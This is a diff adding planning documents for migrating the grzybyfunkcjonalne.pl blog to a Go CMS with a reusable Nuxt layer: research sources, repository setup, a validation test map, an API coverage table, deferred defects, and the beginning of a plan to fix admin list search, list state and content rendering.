+| Same-origin XSS via uploaded files served with sniffed types | Tampering | nginx image-extension allowlist + `nosniff` (attach/static.go warning) |
+| SSRF via configurable API base | Tampering | `journal.apiBase` from server config only, never from request input |
+| Rate-limit bypass or self-DoS through the SSR proxy | DoS | forward XFF to Go (127.0.0.1 trusted); swr caching |
+| Admin exposure | Elevation | `/gfadmin` behind cabana auth; `/backend` returns 404 |
+
+No new Go endpoints or auth surface are planned, so the security-review agent is not required (CONTEXT discretion). If option (b) of Open Question 1 is chosen (an API change), it is.
+
+## Sources
+
+### Primary (HIGH confidence)
+- In-repo reads: `sm-journal-plugin/routes.go`, `controllers/api/{posts.go,posts_helpers.go,rss.go}`, `console/{import_posts.go,export_posts.go}`, `classes/format_html.go`, `README.md`; `sm-translate-plugin/updates/202610060005_seed_en_pl_locales.go`, `classes/translatable.go`; `summercms.go/modules/{lagoon/paginate.go,lagoon/attach/*.go,cabana/README.md,compass/README.md,surf/clientip.go}`; `sm-grzybyfunkcjonalne-app/config/*.yaml`, `go.work`, `summer.yaml`; `sm-summercmsio-app/{deploy,scripts,vue-summercmsio-app}`
+- Legacy PHP: `grzybyfunkcjonalne.pl/themes/arsha/{pages,partials}`, `plugins/golem15/journal/{components,models,console}`, `plugins/golem15/{sitemap,seo}/routes.php`, `vendor/winter/storm/src/Router/Router.php`, `sources/gf_old.sql`, `journal-export/*.json`
+- Live site probes (curl, 2026-10-09): sitemap.xml, status codes, canonical tags, link forms, navbar, footer
+- Probe: `go test` run of `FormatHTML` on pl HTML content (output pasted)
+- Installed node_modules: Nuxt 4.4.8 schema (`scanPageMeta`), @nuxtjs/i18n 10.4.0 module (`pages:resolved`), `nuxt/kit` re-export
+
+### Secondary (MEDIUM confidence)
+- nuxt.com/docs/4.x/guide/going-further/layers (layer priority, deps, path pitfalls)
+- nuxt.com/docs/4.x/guide/concepts/rendering (routeRules, swr vs isr)
+- nuxt.com/docs/4.x/getting-started/deployment (node server, ports)
+- nuxt.com/docs/4.x/guide/going-further/runtime-config (`NUXT_` overrides)
+- i18n.nuxtjs.org/docs/guide/layers (locale/message merge)
+- nuxtseo.com/docs/sitemap/guides/dynamic-urls (dynamic sources, cache)
+- pnpm.io/package-sources (git URL forms, git-hosted builds, blockExoticSubdeps)
+- router.vuejs.org route matching (order independence)
+
+### Tertiary (LOW confidence)
+- Assumptions A1-A11 above
+
+## Metadata
+
+**Confidence breakdown:**
+- URL inventory / data gaps: HIGH (live probes + source reads + export scan)
+- Journal API shape: HIGH (source read)
+- Standard stack: HIGH (versions from the existing lockfile)
+- Layer mechanics over pnpm git: MEDIUM (docs + reasoning; spike required)
+- Deploy topology: MEDIUM (pattern from summercms.io; server unknown)
+- Pitfalls: HIGH for 1-3, 5-8 (verified in code/probe); MEDIUM for 4, 9-10
+
+**Research date:** 2026-10-09
+**Valid until:** 2026-11-08 (live-site facts can drift sooner; re-pull `sitemap.xml` before the smoke list is frozen)

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-USER-SETUP.md

@@ -0,0 +1,21 @@
+# Phase 16: User Setup
+
+**Status:** Complete (verified 2026-10-09 during 16-01)
+
+## git.golem15.com (Gitea 1.25.4)
+
+Why: D-02, D-04 and D-08. The layer and the site app each live in their own repository.
+
+| Task | Location | State |
+|------|----------|-------|
+| Create the repo `golem15/vue-journal-layer` as **public**, default branch `main` | https://git.golem15.com/repo/create (owner golem15) | Done. Anonymous `git ls-remote https://git.golem15.com/golem15/vue-journal-layer.git` lists `main`, `v0.0.1` and `v0.1.0`. |
+| Create the repo `golem15/vue-grzybyfunkcjonalne-app`, default branch `main` | https://git.golem15.com/repo/create (owner golem15) | Done, as **private** by the user's choice. Check it with `git ls-remote git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git` (SSH). |
+
+The layer repo has to be public, because consumers install it anonymously over `git+https` (D-04). The site app is only mounted as a submodule over SSH (D-08), so it can stay private.
+
+## Verification
+
+```bash
+GIT_TERMINAL_PROMPT=0 git ls-remote https://git.golem15.com/golem15/vue-journal-layer.git
+git ls-remote git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git
+```

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-VALIDATION.md

@@ -0,0 +1,96 @@
+---
+phase: "16"
+slug: "grzybyfunkcjonalne-pl-on-reusable-blog-views"
+# status lifecycle: draft (seeded by plan-phase) → validated (set by validate-phase §6)
+# audit-milestone §5.5 distinguishes NOT-VALIDATED (draft) from PARTIAL (validated + nyquist_compliant: false) (#2117)
+status: validated
+nyquist_compliant: true
+wave_0_complete: true
+created: "2026-10-09"
+validated: "2026-10-09"
+---
+
+# Phase 16 — Validation Strategy
+
+> Per-phase validation contract for feedback sampling during execution.
+
+---
+
+## Test Infrastructure
+
+| Property | Value |
+|----------|-------|
+| **Framework** | `node --test` on `.ts` (Node ≥22.18 type stripping) for `vue-journal-layer` and `vue-grzybyfunkcjonalne-app`; `go test` (stdlib) for `sm-grzybyfunkcjonalne-app` |
+| **Config file** | none — `package.json` `"test": "node --test --test-reporter=tap tests/*.test.ts"` (Wave 0 adds it to both JS repos); Go none |
+| **Quick run command** | `pnpm test` (in the touched JS repo); `go vet ./... && go test ./...` (host) |
+| **Full suite command** | `pnpm -C vue-journal-layer test && pnpm -C vue-grzybyfunkcjonalne-app build && pnpm -C vue-grzybyfunkcjonalne-app test && go vet ./... && go test ./...` |
+| **Smoke** | `scripts/smoke.sh <base-url>` over `scripts/urls.txt` (expected status per URL) |
+| **Estimated runtime** | ~90 seconds (dominated by `nuxt build`) |
+
+Testable logic lives in pure TS under `app/utils/` (no `.vue` imports), because `node --test` cannot load SFCs. Rendering is checked through the built SSR server (`.output/server/index.mjs`) started against a fixture API. No Vitest / `@nuxt/test-utils` dependency.
+
+---
+
+## Sampling Rate
+
+- **After every task commit:** Run `pnpm test` in the touched JS repo; `go vet ./... && go test ./...` in the host
+- **After every plan wave:** Run the full suite command, with the site app's `nuxt build` against the layer **installed from the git tag**
+- **Before `/msd-verify-work`:** Full suite must be green and `scripts/smoke.sh` must pass against staging
+- **Max feedback latency:** 90 seconds
+
+---
+
+## Per-Task Verification Map
+
+Built by the named plan tasks; the tests land in 16-05 (CLAUDE.md rule 3). Commands run from the repo named in brackets; `scripts/check-phase16.sh --all` (summercms.go) runs every row except the staging smoke.
+
+| Task ID | Plan | Wave | Requirement | Threat Ref | Secure Behavior | Test Type | Automated Command | File Exists | Status |
+|---------|------|------|-------------|------------|-----------------|-----------|-------------------|-------------|--------|
+| 16-01-T2/T4, 16-05-T2 | 01, 05 | 1, 5 | SC-2 | — | route config: defaults, overrides, `false` disables, invalid path rejected naming `journal.routes.<key>`; path filling encodes per segment (D-06) | unit | `node --test tests/routes.test.ts` (layer) | ✅ | ✅ green |
+| 16-01-T3, 16-05-T2 | 01, 05 | 1, 5 | SC-2 | — | client builds query (`page`, `per_page` clamp 1..30, `category`, `tag`), `include_empty=1` on every categories request (D-24), 404 → null, 500 rethrown | unit | `node --test tests/client.test.ts` (layer) | ✅ | ✅ green |
+| 16-01-T3, 16-05-T2 | 01, 05 | 1, 5 | SC-2 | — | pagination: page validity, 404 on `0`/`-1`/`1.5`/`abc`/arrays and out-of-range, page window | unit | `node --test tests/pagination.test.ts` (layer) | ✅ | ✅ green |
+| 16-01-T2, 16-05-T2 | 01, 05 | 1, 5 | SC-2 | T-16-01 | HTML gate rejects the Go `FormatHTML` cases (script, iframe, event handler, `javascript:`, `vbscript:`, `data:`, upper case too); headings, tables, links pass | unit | `node --test tests/htmlGate.test.ts` (layer) | ✅ | ✅ green |
+| 16-01-T4, 16-05-T2 | 01, 05 | 1, 5 | SC-3 | — | sitemap entries from posts + categories use `journal.routes` (custom `/:category`, disabled routes, nested categories, lastmod) (D-06, D-13); SEO description fallback, absolute og:image, list titles; pl/en key and placeholder parity (D-16) | unit | `node --test tests/sitemap.test.ts tests/seo.test.ts tests/i18n.test.ts` (layer) | ✅ | ✅ green |
+| 16-03-T1, 16-05-T3 | 03, 05 | 3, 5 | SC-1 | T-16-10 | host boots with `backend.uri: /gfadmin`; `cabana.AdminPrefix` is `/gfadmin`; admin routes under `/gfadmin/`, none under `/backend` (D-09); grzyby commands registered | unit/boot | `go test ./... -run '^(TestBootUserTranslateJournal\|TestBackendURIGfadmin\|TestGrzybyCommandsRegistered)$'` (host) | ✅ | ✅ green |
+| 16-03-T1, 16-05-T3 | 03, 05 | 3, 5 | SC-1 | T-16-12 | featured-image migration: map parse, disk-name validation, traversal refused before any read, blob at `attach.BlobKey`, `system_files` row fields, idempotent skip, base slug through the export, type/size/sniff failures, dry run (D-22) | unit + DB | `go -C plugins/grzyby test ./... -race -run 'FeaturedImage\|DiskName'` (host, `GRZYBY_TEST_ADMIN_DSN` or Docker) | ✅ | ✅ green |
+| 16-03-T2, 16-05-T3 | 03, 05 | 3, 5 | SC-1 | — | category import: pl values preferred, `content` written (D-21), unchanged rerun, unknown slug failed, dry run | unit + DB | `go -C plugins/grzyby test ./... -race -run 'Categor'` (host) | ✅ | ✅ green |
+| 16-05-T3 | 05 | 5 | SC-4 | T-16-23 | the test harness creates `grzyby_test_<random>` and drops only that database; DB tests fail, not skip, outside `-short` | unit | `go -C plugins/grzyby test ./console` (host; fails without a database) | ✅ | ✅ green |
+| 16-03-T3, 16-04-T2 | 03, 04 | 3, 4 | SC-1 | T-16-11 | deploy configs: `nginx -t`, supervisor parse, storage extension allowlist with nosniff, `/backend` 404 | config check | `scripts/check-deploy.sh` (host) | ✅ | ✅ green |
+| 16-02-T1, 16-05-T1 | 02, 05 | 2, 5 | SC-1, SC-3 | T-16-01, T-16-07 | built Nuxt server against the fixture API: every PHP URL form's status (D-15), static pages over `/:category`, canonical keeps `?page=N`, titles, pl only (D-16), empty category (D-24), category content (D-21), unsafe body blocked, XFF forwarded, feeds, no forms (D-14), GA only for a valid `NUXT_PUBLIC_GA_ID` (D-23) | integration | `pnpm build && node --test tests/ssr.test.ts` (app) | ✅ | ✅ green |
+| 16-02-T2/T3, 16-05-T2 | 02, 05 | 2, 5 | SC-1 | T-16-07 | `gaHeadScripts` gives nothing for empty or malformed ids; FAQ has 16 entries; menu kinds and every `t()` key resolve | unit | `node --test tests/analytics.test.ts tests/content.test.ts` (app) | ✅ | ✅ green |
+| 16-05-T3 | 05 | 5 | SC-4 | T-16-24 | phase gate fails closed on fail, skip, todo, no tests, missing named tests and races | gate | `scripts/check-phase16.sh --all` (summercms.go) | ✅ | ✅ green |
+| 16-03-T3, 16-04-T3 | 03, 04 | 3, 4 | SC-3 | — | every old URL → expected status; canonical keeps `?page=N`; `/rss.xml` is RSS | smoke | `scripts/smoke.sh` (local rehearsal) and `scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` on the server (host) | ✅ | ✅ green (98 urls on staging, 16-04) |
+
+*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky*
+
+---
+
+## Wave 0 Requirements
+
+- [x] Spike: pnpm git dependency from Gitea + `extends` + `nuxt build` (RESEARCH A1, Pitfall 10) — 16-01 `check-git-install.sh v0.0.1`
+- [x] `vue-journal-layer/tests/` and `package.json` test script — 16-05 Task 2
+- [x] `vue-grzybyfunkcjonalne-app/tests/` + a fixture API (small Node `http` server serving recorded JSON) for SSR tests — layer `testing/fixture-api.mjs` (16-01), app `tests/ssr.test.ts` (16-05 Task 1)
+- [x] `sm-grzybyfunkcjonalne-app/scripts/urls.txt`, generated from the live sitemap (71 URLs) + static/negative cases — 16-03 Task 3
+
+---
+
+## Manual-Only Verifications
+
+| Behavior | Requirement | Why Manual | Test Instructions |
+|----------|-------------|------------|-------------------|
+| Staging deploy on the PHP site's server (Go + Nuxt + imported posts) | SC-1, D-18 | Needs server access, DNS/TLS for the staging host | Deploy per `deploy/` README, then run `scripts/smoke.sh https://<staging>` |
+| Refreshed visual design matches intent | D-01, D-03 | Subjective visual review | Open staging `/`, `/blog`, a post, a category; compare with the live site |
+| Creating the Gitea repos `vue-journal-layer`, `vue-grzybyfunkcjonalne-app` | D-02, D-08 | External service account action | Create public repos on git.golem15.com |
+
+---
+
+## Validation Sign-Off
+
+- [x] All tasks have `<automated>` verify or Wave 0 dependencies
+- [x] Sampling continuity: no 3 consecutive tasks without automated verify
+- [x] Wave 0 covers all MISSING references
+- [x] No watch-mode flags
+- [x] Feedback latency < 90s per touched repo (`pnpm test` in the layer under 1 s; the app's `nuxt build` plus tests about 60 s; the full gate a few minutes)
+- [x] `nyquist_compliant: true` set in frontmatter
+
+**Approval:** approved 2026-10-09 (16-05): `scripts/check-phase16.sh --all` ended with "Phase 16 gate passed" (layer 78 tests, app 25 tests and 36 + 2 smoke checks, host 4 named boot tests, grzyby 10 tests with `-race` against a throwaway Postgres 18.6 database, check-deploy ok). The staging visual review (Manual-Only row 2) remains a human check.

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/COVERAGE.md

@@ -0,0 +1,27 @@
+# API Coverage — Journal API (`/_journal/api/v1`, sm-journal-plugin)
+
+> Full coverage by default. Opt-outs are explicit, reasoned decisions.
+
+The phase consumes the internal Journal API that Phase 15 shipped (frozen contract, Phase 15 D-14) plus the two pre-execution additions D-20 and D-21. The consumer is `vue-journal-layer` (16-01) through its typed client, the sitemap source and the `/rss.xml` route. Google Analytics (D-23) is a script tag configured through Nuxt runtime config, not an API integration, so it has no row here.
+
+| capability | decision | reason |
+|---|---|---|
+| posts list (GET posts: page, per_page, sort) | INTEGRATE | |
+| posts list filtered by category (GET posts?category=) | INTEGRATE | |
+| posts list filtered by tag (GET posts?tag=) | INTEGRATE | |
+| post by slug (GET posts/{slug}) | INTEGRATE | |
+| post previous_post / next_post | INTEGRATE | |
+| post related_posts | INTEGRATE | |
+| post featured_images / featured_image_url | INTEGRATE | |
+| categories tree with include_empty=1 (GET categories) | INTEGRATE | |
+| category rich content field (D-21, on categories rows) | INTEGRATE | |
+| tags (GET tags) | INTEGRATE | |
+| rss (GET rss, proxied at /rss.xml) | INTEGRATE | |
+| author profile by slug (D-20 anonymous author endpoint) | INTEGRATE | |
+| author posts listing (D-20) | INTEGRATE | |
+| posts full-text search (GET posts?search=) | OPT-OUT | explicitly out of scope: the PHP site has no search page or form (D-05 lists no search view); the client can add it without an API change |
+| posts pinned_first ordering (GET posts?pinned_first=) | OPT-OUT | not needed: every PHP listing sorts by published_at desc only (blog.htm, index.htm, autor.htm) |
+| editor draft preview on GET (Authorization Bearer) | OPT-OUT | explicitly out of scope: the public layer never sends credentials, so drafts stay 404 to visitors (Phase 15 JOURNAL-005) |
+| create / update / delete posts (POST, PUT, DELETE posts) | OPT-OUT | explicitly out of scope: backend-JWT admin and importer surface; the layer calls anonymous GET routes only (D-05) |
+| featured-image upload / delete (POST, DELETE posts/{id}/featured-images) | OPT-OUT | explicitly out of scope: featured images migrate through the app-local grzyby:import-featured-images command (D-22), not the HTTP write route |
+| media upload (POST media/upload) | OPT-OUT | explicitly out of scope: media files are copied from PHP storage by the migration runbook (D-17); uploads stay an admin action |

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/deferred-items.md

@@ -0,0 +1,26 @@
+# Phase 16 deferred items
+
+## From 16-02 (vue-grzybyfunkcjonalne-app)
+
+- **vue-journal-layer: visitor address lost under Nitro swr route caching.** `routeRules` swr renders a page from a copy of the request that keeps only `varies` headers, so the layer's `useJournalApi` reads no `x-forwarded-for` and forwards only the Nuxt peer. Every SSR cache miss would then share one Go rate-limit bucket (RESEARCH Pitfall 5). The site app works around it with `server/plugins/client-address.ts` (records the address in `event.context` on the Nitro `request` hook) and an app-level `useJournalApi` override. Fix it in the layer (a layer Nitro plugin plus the composable reading `event.context`), release a new tag, bump the app and delete the app override. The layer's `/rss.xml` and sitemap source have the same gap on their cache misses (once per TTL).
+- **vue-journal-layer smoke tool sends no Accept header.** Undici's `fetch` sends `sec-fetch-mode: cors`, so Nuxt answers errors with JSON and an expectation such as `404 /404 contains=...` cannot see the error page. The app works around it with `server/plugins/html-errors.ts`, which treats page paths as HTML requests. An `Accept: text/html` default in `testing/smoke-ssr.mjs` would let other apps check error copy without such a plugin.
+- **`public/images/cta.png` is 5.5 MB** (1792×1024 PNG, kept byte for byte from the live site as the plan required). It is the CTA band and blog hero background. A WebP derivative (the hero photo is 0.47 MB as WebP) would cut page weight; decide before the production cutover.
+
+## From 16-03 (sm-grzybyfunkcjonalne-app host, runbook and deploy)
+
+- **summercms.go: the generated main.go publishes no database for plugin commands.** `lagoon`, `cabana` and `surf serve` open the database themselves (`lagoon.OpenFromApp`), but a plugin's `pact.HasCommands` command finds no `*gorm.DB` on the app. So `journal:import-posts`, `journal:export-posts` and `user:token:*` stop with "database is not configured" in every `summer build` host (fonoteka.go's hand-written `app.go` publishes it). The host works around it with `grzyby:import-posts` and a `lookupDB` helper that open and publish the database through lagoon. Fix it in the framework, for example as a lazy publish before plugin command `Run`, so the wrapper can go.
+- **sm-journal-plugin: `journal:import-posts` rejects `"translations": []`.** The PHP exporter writes a post without translations as `[]` (json_encode of an empty PHP array), and the Go `PostFile.Translations map[string]map[string]any` fails to unmarshal it ("Invalid JSON"). This affects 5 of the 105 grzybyfunkcjonalne export files; 2 of them are published, including the live post `ekstrakt-z-turkey-tail`. `scripts/migrate.sh` imports from a copy in which only that empty array becomes `{}`. The importer should accept an empty array as an empty map (PHP parity).
+- **`first-journal-post` is published in the export but not on the live site.** "First journal post" was published 2026-02-23. It is absent from the live sitemap, so Go serves 63 published posts where the live site lists 62. Unpublish or delete it after the staging import (16-04), or confirm it should stay.
+- **The UAT-host image references are not in the imported bodies.** The 2 `https://gf.uat.golem15.com/storage/...` references sit only in the base (older) content of `wprowadzenie-do-grzyba-cordyceps`. With pl as the default, the pl body replaces the base text, so the gap report shows 1 export file and 0 imported bodies. Nothing is broken on the new stack. The report keeps listing the export file.
+- **nginx `listen ... http2` is deprecated on nginx 1.25.1 and newer** (a warning, not an error). The staging vhost keeps the summercms.io form because the PHP server's nginx version is unknown. Switch to `http2 on;` once 16-04 confirms the version. *Resolved in 16-04 (b488fdd): the server runs nginx 1.26.3 and the vhost uses `http2 on;`.*
+- *`first-journal-post`: resolved in 16-04 for staging. `migrate.sh --skip first-journal-post` leaves it out of the import, so staging serves the 62 live posts. The export file itself is unchanged.*
+
+## From 16-04 (staging deploy)
+
+- **summercms.go `modules/lagoon/attach`: file buckets write temp files to `os.TempDir()`.** gocloud's fileblob creates the temp file in `/tmp` and renames it into the bucket. On a server whose `/tmp` is tmpfs (the grzybyfunkcjonalne staging server), every write fails with "invalid cross-device link". The host sets `?no_tmp_dir=true` in `config/storage.yaml` (sm-grzybyfunkcjonalne-app 6ef012e). `normalizeBucketURL` could default `no_tmp_dir` for `file://` the same way it defaults `create_dir`, so no host meets this on its first upload. Not changed here: another session owns `modules/`.
+- **Visual review of staging (16-04 Task 3 human-check) is pending.** The automated checks all pass. A human still opens the staging pages with the UAT credentials and compares them with the live site (design, Polish copy, featured images, inline media). The admin password step of the original human-check no longer applies: the operator created the admin with a password piped from a file outside the deploy.
+- **The plan's verify commands curl `$STAGING_URL` from the executor's machine,** but staging keeps the server's UAT basic-auth gate (operator decision), so they answer 401 from outside. They ran on the server through the loopback bypass instead (DEPLOY.md, "Smoke"). A later plan that checks staging from outside needs the credentials, or should run on the server the same way.
+
+## From 16-05 (unit tests and phase gate)
+
+- **The testcontainers path of the grzyby console test harness has not run.** Docker is unreachable for user `golem`, so `plugins/grzyby/console` ran through `GRZYBY_TEST_ADMIN_DSN` against a throwaway Postgres 18.6 cluster (initdb, ICU) only. Whether `postgres:16-alpine` accepts `ICU_LOCALE 'pl-PL'` in the harness's `CREATE DATABASE` is unverified. Run `go -C sm-grzybyfunkcjonalne-app/plugins/grzyby test ./... -race` once with Docker and without the DSN; if the image lacks the pl-PL ICU data, switch the harness image or drop the ICU clause for the container path.

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/.gitkeep

@@ -0,0 +1 @@
+

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-PLAN.md

@@ -0,0 +1,311 @@
+---
+phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
+plan: 01
+type: execute
+wave: 1
+depends_on: []
+files_modified:
+  - modules/cabana/query.go
+  - modules/cabana/query_relation_test.go
+  - docs/backend/lists-and-filters.md
+  - modules/cabana/http.go
+  - modules/cabana/locale_order_test.go
+  - modules/cabana/README.md
+  - docs/backend/forms.md
+  - ../sm-journal-plugin/classes/format_html.go
+  - ../sm-journal-plugin/classes/format_html_test.go
+  - ../sm-journal-plugin/README.md
+  - admin/src/state/listState.ts
+  - admin/src/views/ListView.vue
+  - admin/src/state/useAuth.ts
+  - admin/src/state/useSidebar.ts
+  - admin/tests/list/ListView.test.ts
+  - scripts/check-phase10.sh
+  - modules/boardwalk/dist/
+autonomous: true
+requirements: [D-01, D-02, D-03]
+estimate:
+  tokens: 85000
+  raw_tokens: 85000
+  tasks: 4
+  confidence: low
+must_haves:
+  truths:
+    - "D-02: a list search over a belongsToMany relation column answers 200 instead of 'Server error': the count and page queries match through EXISTS (SELECT 1 FROM the pivot JOIN the related table ...) whose pivot, key and table names come from GORM's parsed relationship (gorm.Statement.Parse, Schema.Relationships.Relations), never from a naming convention."
+    - "D-02: search over hasMany, hasOne and belongsTo relation columns also goes through a correlated EXISTS subquery, so the outer list query gains no JOIN during the count: a record matching through several related rows is counted and listed once, and unqualified ListExtendQuery or scope predicates (id IN (...), user_id = ?) stay unambiguous."
+    - "D-02: sorting by a hasMany or belongsToMany column orders by a correlated string_agg subquery followed by the primary-key tiebreak; sorting by a belongsTo or hasOne column keeps the existing association join."
+    - "D-02: polymorphic relations and columns missing from the related schema are refused with a 422 validation_failed on search (or sort), never with a 500."
+    - "D-03: the form schema's meta.enabledLocales lists the default locale first and the other enabled codes in the writer's order, so every ML control opens on the default locale where the stored host content, excerpt, title and slug live."
+    - "D-03: classes.FormatHTML keeps raw HTML in content (imported HTML bodies round-trip unchanged) and still refuses script, iframe, object and embed tags, event handler attributes and javascript, vbscript and data URLs on every write path (admin save, import, Journal API)."
+    - "D-01: list search, sort, dir, page, per_page and filter[name] stay in the list URL; every list query the view loads is also stored in browser storage under the key summer-admin.list: followed by the controller id; an empty query is never stored."
+    - "D-01: a list opened without list-state params (navigation rail, breadcrumb, form back, cancel, save-and-close, delete) restores the stored query into the URL before its first list request; a URL with list-state params wins and overwrites the stored query; logout removes every stored list query."
+    - "D-02: every cabana and admin commit of this plan is staged by explicit path and holds only this plan's files; sm-journal-plugin changes are committed in their own repository."
+    - "go vet stays clean in summercms.go and sm-journal-plugin, and the named smoke tests, the vitest files, TestDocsTree and scripts/check-admin-dist.sh are green at every commit."
+  artifacts:
+    - path: "modules/cabana/query.go"
+      provides: "EXISTS relation search and correlated to-many sort built from the parsed GORM relationship"
+      contains: "Relationships.Relations"
+    - path: "modules/cabana/query_relation_test.go"
+      provides: "DryRun harness, relation fixtures and the tracer smoke test"
+      contains: "TestListRelationSearchSmoke"
+    - path: "modules/cabana/locale_order_test.go"
+      provides: "default-locale-first smoke test"
+      contains: "TestEnabledLocalesDefaultFirstSmoke"
+    - path: "../sm-journal-plugin/classes/format_html.go"
+      provides: "goldmark with unsafe HTML rendering behind the unchanged safety gate"
+      contains: "WithUnsafe"
+    - path: "admin/src/state/listState.ts"
+      provides: "per-list browser storage of the list query"
+      contains: "summer-admin.list:"
+  key_links:
+    - from: "modules/cabana/query.go applyListSearch / applyListOrder"
+      to: "gorm.io/gorm/schema Relationship (Type, References, JoinTable, FieldSchema)"
+      via: "gorm.Statement{DB: db}.Parse(model) then Schema.Relationships.Relations[field]"
+      pattern: "Relationships.Relations"
+    - from: "modules/cabana/http.go enabledContentLocales"
+      to: "TranslationWriter.DefaultLocale"
+      via: "default code moved to index 0 of meta.enabledLocales"
+      pattern: "DefaultLocale"
+    - from: "admin/src/views/ListView.vue watch on listQueryKey"
+      to: "admin/src/state/listState.ts readListState / writeListState"
+      via: "restore before the first list request when the URL has no list params"
+      pattern: "readListState"
+    - from: "../sm-journal-plugin/controllers/posts.go preparePostWrite"
+      to: "../sm-journal-plugin/classes/format_html.go FormatHTML"
+      via: "content to content_html on every admin save"
+      pattern: "FormatHTML"
+  prohibitions:
+    - "[FLAGGED-UNVERIFIED] The relation-search fix must not be a Journal-specific workaround, and framework code, READMEs and docs must not name a consuming application (D-02, CLAUDE.md)."
+    - "[FLAGGED-UNVERIFIED] List state must not be stored on the server: no table, no migration, no new API route (revised D-01)."
+    - "[FLAGGED-UNVERIFIED] The Journal API content and content_html response shapes must not change; only the stored HTML stops losing raw HTML (API parity)."
+    - "[FLAGGED-UNVERIFIED] cabana.RenderMarkdown, whose output the admin preview renders with v-html, must not switch to unsafe HTML."
+---
+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): the Journal posts list and post form in the admin work on real imported data found on UAT: (1) list search no longer fails with "Server error" (search across a belongsToMany relation built a hasMany join); (2) list sort and filters are remembered after opening a record and going back; (3) the post form shows the stored content; (4) the post form shows the stored excerpt. Then release a summercms tag, bump the host, redeploy to UAT and re-run the staging smoke.
+
+This plan's slice (D-05: "01 all fixes"): every code fix, each with a smoke test. Release and redeploy are plan 02; full unit coverage is plan 03.
+
+## Spec-less probe fallback
+
+Visible skip: the phase has no REQUIREMENTS.md IDs to probe (Requirements: TBD), so no probe predicates are generated this run. CONTEXT D-01..D-05 and the RESEARCH root causes are the source of truth. The edge cases RESEARCH names (polymorphic and soft-deleting relations, self-referencing relations, stale stored list state, out-of-range restored page, the user clearing every list control, same-path navigation) are authored into the task behaviors and `must_haves.truths`; the kept must-NOTs are in `must_haves.prohibitions`.
+
+## Artifacts this phase produces
+
+- summercms.go `modules/cabana`: EXISTS-based relation search and correlated to-many sort in `query.go`; default-locale-first `meta.enabledLocales` in `http.go`; new test files `query_relation_test.go` and `locale_order_test.go`; README and `docs/backend/{lists-and-filters,forms}.md` sentences.
+- summercms.go admin SPA: new `admin/src/state/listState.ts`; list-state entry logic in `admin/src/views/ListView.vue`; logout clears stored list queries (`admin/src/state/useAuth.ts`); rebuilt `modules/boardwalk/dist/`; the `scripts/check-phase10.sh` browser-storage allowlist names `listState.ts`.
+- sm-journal-plugin: `classes/format_html.go` renders raw HTML behind the unchanged gate; a smoke test; README sentence. Committed on `main`, not pushed (plan 02 pushes).
+- No server-side table, migration, route or OpenAPI change (revised D-01).
+
+<objective>
+Fix the four UAT defects in code (D-05 plan 01): relation search and to-many sort through subqueries built from GORM's parsed relationship (D-02), the default content locale first in form locales so the form shows stored content and excerpt (D-03), raw HTML kept in content_html so an admin save no longer destroys imported posts (D-03), and list state kept in the URL and browser storage (D-01).
+
+Purpose: UAT admins can search, filter and return to the Journal posts list and edit imported posts without losing data.
+Output: four commits in summercms.go (cabana search/sort, cabana locales, admin list state with rebuilt dist, nothing else) and one commit in sm-journal-plugin.
+</objective>
+
+<execution_context>
+@~/.claude/msd-core/workflows/execute-plan.md
+@~/.claude/msd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-CONTEXT.md
+@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md
+@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-PATTERNS.md
+@modules/cabana/query.go
+
+RESEARCH caveat: its list-state design (a backend_list_states table, a GET list-state route, a migration, an OpenAPI regeneration) is superseded by the revised D-01 (URL plus browser storage). Ignore those parts of RESEARCH and PATTERNS.
+
+Commit rules: no co-author tags; one logical change per commit; planning docs and code in separate commits; stage every file by explicit path (never `git add -A` or `git add .`; summercms.go has untracked `.msd/` and a modified `.planning/state.json`, sm-journal-plugin has an untracked `go.work.sum`, none of which belong in these commits).
+
+Docker is not usable on this machine, so `go test ./modules/cabana` without `-run` fails on the Postgres-backed tests for reasons unrelated to this plan. Every gate below runs the named pure tests.
+</context>
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1: Tracer: a list search over a belongsToMany column answers 200 through an EXISTS subquery (GET list, ExecuteList, SQL)</name>
+  <precondition>git status --porcelain -- modules/cabana docs/backend prints nothing, i.e. the concurrent session has no in-flight edit in the files this task touches (D-02); otherwise stop and report the conflicting paths.</precondition>
+  <files>modules/cabana/query.go, modules/cabana/query_relation_test.go, docs/backend/lists-and-filters.md</files>
+  <read_first>modules/cabana/query.go (whole file: ExecuteList, applyListOrder, applyListSearch, qualifiedColumn, quotedIdent, tableName, relationFieldName, listRelationColumn, relatedSelectMany), modules/cabana/query_test.go (queryRow, queryArtist, queryController, newListService, getList, decodeList, listEnvelope), modules/cabana/list_schema_test.go (filterFS), modules/cabana/security_test.go (controllerRequest), modules/cabana/README.md (the rule that framework code never guesses table, pivot or foreign-key names), docs/backend/lists-and-filters.md (column options paragraph near line 62), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md (Root-cause evidence Defect 1, Pattern 1, Pitfall 1, Code Examples "DryRun SQL test")</read_first>
+  <behavior>
+    - GET list with search=fungi on a controller whose list has a searchable belongsToMany column (tags, select name) answers 200; the recorded count statement contains an EXISTS subquery over the pivot table aliased cabana_p0 joined to the related table aliased cabana_r0, correlated by the pivot owner key to the main table primary key, and contains no LEFT JOIN.
+    - GET list with sort=tags and dir=desc records an ORDER BY that holds a string_agg subquery with DESC followed by the main table primary-key tiebreak.
+  </behavior>
+  <action>Run the precondition check first (D-02). Then edit modules/cabana/query.go:
+
